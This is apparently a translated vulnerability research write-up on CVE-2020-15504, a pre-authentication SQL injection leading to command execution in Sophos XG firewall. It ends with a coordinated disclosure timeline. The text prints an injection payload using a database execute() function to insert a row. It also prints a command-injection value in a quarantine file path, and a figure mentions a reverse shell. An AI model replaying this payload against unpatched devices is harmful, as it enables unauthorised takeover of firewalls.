0x05 挖掘0-day(CVE-2020-15504)
除了diff分析补丁包之外,我们还可以通过另一种方式来发现n-day漏洞:分析不需要身份认证的(可以通过/webconsole/Controller
端点调用的)所有后端函数。我们可以从Java函数getPreAuthOperationList
中提取出对应的函数编号。
private static ArrayList<Integer> getPreAuthOperationList() {
final ArrayList<Integer> modeList = new ArrayList<Integer>();
modeList.add(151);
modeList.add(1503);
modeList.add(6000);
[...]
return modeList;
}
Perl代码中如何防护SQLi
尽管后端没有通过prepared-statement来执行所有SQL操作,但这些操作并不会自动受到注入影响。
OPCODE login {
[...]
result = QUERY "select usertype from tbluser where username=lower('$request->{username}') and usertype = $CYBEROAMDEFAULTADMIN"
IF("defined $result->{output}->{usertype}[0]") {
[...]
这是因为通过299
端口传入的所有函数参数在被处理之前,都会自动被escapeRequest
函数转义。
sub escapeRequest{
my $class=shift;
my $request=shift;
foreach my $key ( keys % {$request}){
if(ref($request->{$key}) eq 'ARRAY'){
[...]
}elsif(ref($request->{$key}) eq 'HASH'){
[...]
}else{
if($request->{$key} ne ''){
$request->{$key}=~ s/\\\'/\'/g;
$request->{$key}=~ s/\\\\/\\/g;
$request->{$key}=~ s/\t/\\t/g;
$request->{$key}=~ s/\\/\\\\/g;
$request->{$key}=~ s/\'/\\\'/g;
}
}
}
return $request;
}
寻找脆弱点
我们注意到一个函数:RELEASEQUARANTINEMAILFROMMAIL (NR 2531)
,对应的代码逻辑会悄悄绕过自动转义。该函数会将用户可控的某个参数当成Base64字符串,在SQL语句中使用并解码该参数。由于全局转义操作会在该函数被调用前执行,因此只能看到经过编码的字符串,不会看到要处理的任何特殊字符(比如单引号)。
参数在解码后,会被拆分为不同的变量。代码会根据HTTP请求中使用的key=value
模式来解析字符串。我们需要重点关注hdnFilePath
变量,该值并不需要满足任何复杂的条件,并且最终会出现在随后的SQL语句中。
OPCODE mergequarantine_manage{
IF("defined $request->{release} and $request->{release} ne '' "){
use MIME::Base64;
$param = decode_base64($request->{release});
[...]
// Code White: rcptData[1] is derived from $param
@filePathData = split(/&hdnDestDomain=/, $rcptData[1]);
$requestData{hdnFilePath}=$filePathData[0];
my $email_regex='^([\.]?[_\-\!\#\{\}\$\%\^\&\*\+\=\|\?\'\\\\\\/a-zA-Z0-9])*@([a-zA-Z0-9]([-]?[a-zA-Z0-9]+)*\.)+([a-zA-Z0-9]{0,24})$';
if($requestData{hdnRecipient} =~ /$email_regex/ && ((defined $requestData{hdnSender} && $requestData{hdnSender} eq '') || $requestData{hdnSender} =~ /$email_regex/) && index($requestData{hdnFilePath},'../') == -1){
$validate_email="true";
}
IF("$validate_email eq 'false'"){
<code>%response=("status"=>"548","statusmessage"=>"Invalid URL");</code>
REPLY %response 500
}
$iviewQuery= "select messageid,reason,isavas from (select messageid,COALESCE(NULLIF('',''),NULL) as reason,'as' as isavas from tblquarantinespammailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,COALESCE(NULLIF('',''),NULL) as reason ,'as' as isavas from tblquarantinespammailmergev5 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'as' as isavas from tblquarantinespammailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmergev5 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'av' as isavas from tblquarantinemailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' ) as tbl";
[...]
quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
}
}
$requestData{hdnFilePath}
有唯一一个限制:不包含../
(但这与我们的目标无关)。使用特殊的格式构造一个release
参数后,我们可以在上述SELECT
语句中触发一个SQLi。在构造过程中,我们不能破坏语法,我们控制的参数会被插入查询语句6次,因此要小心处理。
图12. 通过SQLi触发数据库sleep(由于sleep
命令被注入6次,因此有6秒延迟)
升级Select语句
能够触发sleep
后,攻击者就可以使用已知的SQL盲注技术来读取任意数据库值。底层的Postgres实例(iviewdb
)与n-day漏洞攻击的目标实例不同,该数据库似乎并不会存储对后续攻击有用的任何值,因此我们选择使用另一种方法。
思考Asnarök所使用的代码执行技术后,我们的目标是与SELECT
操作一起执行INSERT
操作。从理论上讲,我们可以通过堆叠查询来轻松完成这个任务。经过一些试验后,我们确定目标上部署的Postgres版本以及使用的数据库API支持堆叠查询,然而我们无法通过SQLi完成该任务。我们发现函数iviewdb_query
(/lib/libcscaid.so
)会在提交查询之前调用escape_string
(/usr/bin/csc
)函数。由于该函数会转义SQL语句中的所有分号,因此我们无法使用堆叠查询。
不轻言放弃
此时,我们可以在iviewdb
数据库中,通过SELECT
语句触发未授权SQL注入,但这并没有帮助我们提升至RCE效果。我们不想放弃努力,因此开始寻找其他办法。最终我们提出了一个想法:如果我们修改payload,使SQL语句能够以我们预期的方式返回值呢?这样我们能否触发后续Perl逻辑,最终实现代码执行?为了在查询列中返回任意值,我们经过多次尝试构造payload,最终成功完成任务。
图13. 执行SELECT
语句,返回payload中指定的值
成功构造出这类payload后,我们接着关注后续的Perl逻辑。分析源代码后,我们在数据库查询语句后找到了一个潜在的EXEC
调用,该调用所使用的某个参数来自于用户控制的某个变量。
quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
GET g_ha_mode
IF("!defined $quarantinQuery->{output}->{messageid} || $quarantinQuery->{output}->{messageid}[0] eq ''"){
IF ("$g_ha_mode == $HA_ENABLED") {
GET g_ha_ownstatus
IF ("$g_ha_ownstatus == $HA_PRIM"){
result = QUERY "select peerdedicatedip from tblhaparam"
<code>$peerdedicatedip=$result->{output}->{peerdedicatedip}[0];</code>
<code>
$jsonbody = "{\\\"hdnRecipient\\\":\\\"$requestData{hdnRecipient}\\\",\\\"hdnFilePath\\\":\\\"$requestData{hdnFilePath}\\\"}";
</code>
out = EXEC /bin/dbclient -n -I "60" -y -l hauser $peerdedicatedip /bin/opcode check_mail_availability_HA -t "json" -b $jsonbody -s nosync
不幸的是,在默认设置中,变量$g_ha_mode
(很有可能与高可用性功能有关)的值为false
,因此我们只能寻找更好的方法。函数mergequarantine_manage
并没有其他exec
调用,但会在正确的条件下触发同一个文件中的其他两个Perl函数。这些函数通过apiInterface
opcode触发,该opcode会在299
端口上生成新的CSC请求。
for($qurcnt=0;$qurcnt<scalar(@messageid);$qurcnt++){
if($isavasArr[$qurcnt] eq 'av' && $request->{action} ne 'release' && ($reasonarr[$qurcnt] ne '12' || $reasonarr[$qurcnt] eq '12')){
push(@avmessageidArr,$messageid[$qurcnt]);
push(@avrecipientArr,$rcptArr[$qurcnt]);
}elsif($isavasArr[$qurcnt] eq 'as' || ($isavasArr[$qurcnt] eq 'av' && $request->{action} eq 'release' && $reasonarr[$qurcnt] eq '12')){
push(@asmessageidArr,$messageid[$qurcnt]);
push(@asrecipientArr,$rcptArr[$qurcnt]);
}
}
# Code White: 831 == manage_quarantine
%spamqueReq=("mode"=>"831","hdnMessageid"=>\@asmessageidArr,"hdnRecipient"=>\@asrecipientArr,"action"=>"$request->{action}","reason"=>\@reasonarr);
# Code White: 833 == manage_malware_quarantine
%malwareReq=("mode"=>"833","messageid"=>\@avmessageidArr,"recipient"=>\@avrecipientArr,"action"=>"$request->{action}");
在我们的环境中,$request->{action}
始终被设置为release
,因此会限制我们调用manage_quarantine
。该函数会使用自己提交的参数(mergequarantine_manage
中查询结果集)来触发另一个SELECT
语句。当该语句返回匹配值时,就会触发EXEC
调用,将返回的某个值作为参数传入。
OPCODE manage_quarantine{
[...]
$iviewQuery= "select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from (select messageid,sender,recipient,subject,quarantinearea, CAST(INET_NTOA(destdomain) as inet) as destdomain,0 as reason from tblquarantinespammailmerge where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,0 as reason from tblquarantinespammailmergev5 where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from tblquarantinespammailmergev6 where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]') as tbl";
[...]
quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
$mailFrom = $quarantinQuery->{output}->{sender}[0];
$strSubject=$quarantinQuery->{output}->{subject}[0];
$file =$quarantinQuery->{output}->{quarantinearea}[0];
$mailTo = $quarantinQuery->{output}->{recipient}[0];
[...]
IF("$file =~/.eml/ || $file =~ /0x2/") {
#convert eml file to -H and -D files
newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '$file' '/sdisk/quarantine/'
<code>
chomp($newfile->{output});
$file= "/sdisk/spool/tmp/" . $newfile->{output};
</code>
LOG applog "new mail file: $newfile->{output}\n"
}
现在的问题是,我们如何通过第一个语句的结果集来控制第二个SELECT
语句的结果集?我们是否可以通过第一次查询的返回值,在第二次查询中触发SQLi?由于构造语句时采用了字符串拼接方式,因此理论上这种方法可行。然而不幸的是,在花了大量精力构造这类payload后,我们还是无法获取所需的结果。简要分析payload的处理过程后,我们发现payload在达到第二个查询前已经被转义过。由于函数通过新的CSC请求触发,因此会自动经过前文提到的转义逻辑进行处理。
止步于SQLi?绝不言败
为了实现注入点的有效利用,我们深入分析了其中涉及的相关组件。在前期利用阶段,我们已经完整dump出iviewdb
数据库,当我们发现其中并没有包含任何有用信息后,我们就没有仔细观察其中内容。重新观察该数据库后,我们注意到设备会使用大量数据库中的某个功能:用户定义函数。
我们可以通过用户定义函数的方式来定义自己的SQL函数,从而扩展预定义的数据库操作。我们可以通过Postgres自己的语言(PL/pgSQL)来完成该任务。这类函数对我们的攻击场景非常有用,因此我们可以在SELECT
语句中内联调用前面定义的函数。调用语法与其他SQL函数相同,即SELECT my_function(param1, param2) FROM table;
。
因此现在我们的思路是,已有的用户定义函数可能可以用来执行堆叠查询。如果函数中没有正确过滤SQL语句,那么就满足这个利用条件。我们遍历了数据库dump文件,发现满足该模式的多个代码块。令我们惊讶的是,我们找到了执行任意语句的一个简单方法:execute
函数。该代码只接受一个参数,会作为SQL语句直接执行,没有经过进一步检查。
CREATE FUNCTION execute(query text) RETURNS void
LANGUAGE plpgsql
AS $$
BEGIN
execute query;
EXCEPTION
WHEN OTHERS THEN
RAISE NOTICE 'Exception Occured while executing : %', query;
END
$$;
理论上这个函数可以允许我们在mergequarantine_manage
的SELECT
查询中执行INSERT
语句,以便在表tblquarantinespammailmerge
中添加数据库行,最终用在manage_quarantine
的exec
调用中。
图14. 通过SELECT
语句中的execute
函数触发INSERT
语句
经过一番摸索后,我们成功构造出正确的payload,如下所示:
mode=2531&
release=<@base64_0>
hdnSender=s@s.com
&hdnRecipient=r@r.com&
hdnFilePath=
H' UNION SELECT
'a' || execute('
DELETE FROM tblquarantinespammailmerge where messageid = chr(97);
INSERT INTO tblquarantinespammailmerge(messageid,sender,recipient,subject,quarantinearea,destdomain) values(chr(97), chr(66), \'r@r.com\', chr(69), encode(decode(\'<@base64_1>; sleep 10; echo test.eml<@/base64_1>\', \'base64\'), \'escape\'), 1)
') as messageid,
'b' as reason,
'as' as isavas
UNION SELECT messageid,'b' as reason, 'c' as isavas FROM tblquarantinespammailmerge where quarantinearea='&hdnDestDomain=DESTDOMAIN
<@/base64_0>
以上代码具体解释如下:
1、第1-2行:定义mode 25331
所需的2个HTTP参数;
2、第3-6行:定义3个Base64编码参数,以便通过mergequarantine_manage
中初始化检查;
3、第7行:注入单引号,触发SQLi;
4、第8-11行:利用用户定义函数execute
,触发与预定义的SELECT
不同的SQL操作;
5、第10行:在表tblquarantinespammailmerge
中添加新行,在其中的quarantinearea
字段中包含我们的代码执行payload,并将messageid
设置为'a'
。需要注意的是payload中的.eml
部分,这样才能访问到exec
调用;
6、删除tblquarantinespammailmerge
中messageid
等于'a'
的所有行,确保该表中只包含我们payload的一个实例(在初始语句中该向量会被注入6次)。尽管这不是一个必须执行的操作,但可以简化manage_quarantine
中SELECT
语句后的代码路径,避免我们的payload被多次执行。
7、第12-14行:遵循预定义语句的语法。
使用上述payload后,我们可以执行如下Perl命令:
newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '; sleep 10; echo test.eml' '/sdisk/quarantine/'
现在我们终于完成任务,但似乎并没有任何时间延迟,这表明我们的sleep
实际上并没有被触发。我们使用的执行机制不就是之前n-day漏洞所使用的执行机制吗?事实上这两者的确有所不同。Asnarök使用的是EXECSH
,我们使用的是EXEC
。不幸的是,EXEC
能够正确处理参数中的空格,将其作为单个值传入脚本。
大功告成
既然前面做了那么多工作,现在我们只能继续前行。最终我们还是通过SQLi实现代码执行,这得感谢Perl的大力帮助。
[...]
my $emlfile=$ARGV[1] ."/" . $ARGV[0];
my $detailio = new IO::Handle;
open($detailio, ">>$filewritingdata") or die("Cannot write $filewritingdata: $!\n");
[...]
my $emlio = new IO::Handle;
open($emlio, $emlfile) or
die("Cannot write $emlfile: $!\n");
将最后这部分代码加入攻击链后,我们还需要解决payload中的一个小问题,这部分工作留给大家来完成。
图15. 利用漏洞触发反向shell
0x06 时间线
以下采用UTC时间。
2020年4月5日22:48:通过BugCrowd向Sophos提交漏洞。
2020年4月5日23:56:Sophos确认收到报告。
2020年5月5日12:23:Sophos称能够复现问题,正在解决问题。
2020年5月5日:Sophos发布第一版自动补丁。
2020年5月16日23:55:我们反馈修补程序中增加的安全机制可能被绕过。
2020年5月21日:Sophos发布了第二版修补,该修补禁用了预身份认证邮件隔离放行功能。
2020年6月:官方发布包含内置补丁的18.0 MR1-1固件。
2020年7月:官方发布包含内置补丁的17.5 MR13固件。
2020年7月13日:在确保大多数设备已收到补丁,或者安装新版固件后,我们与厂商协商发布本文。
发表评论
您还未登录,请先登录。
登录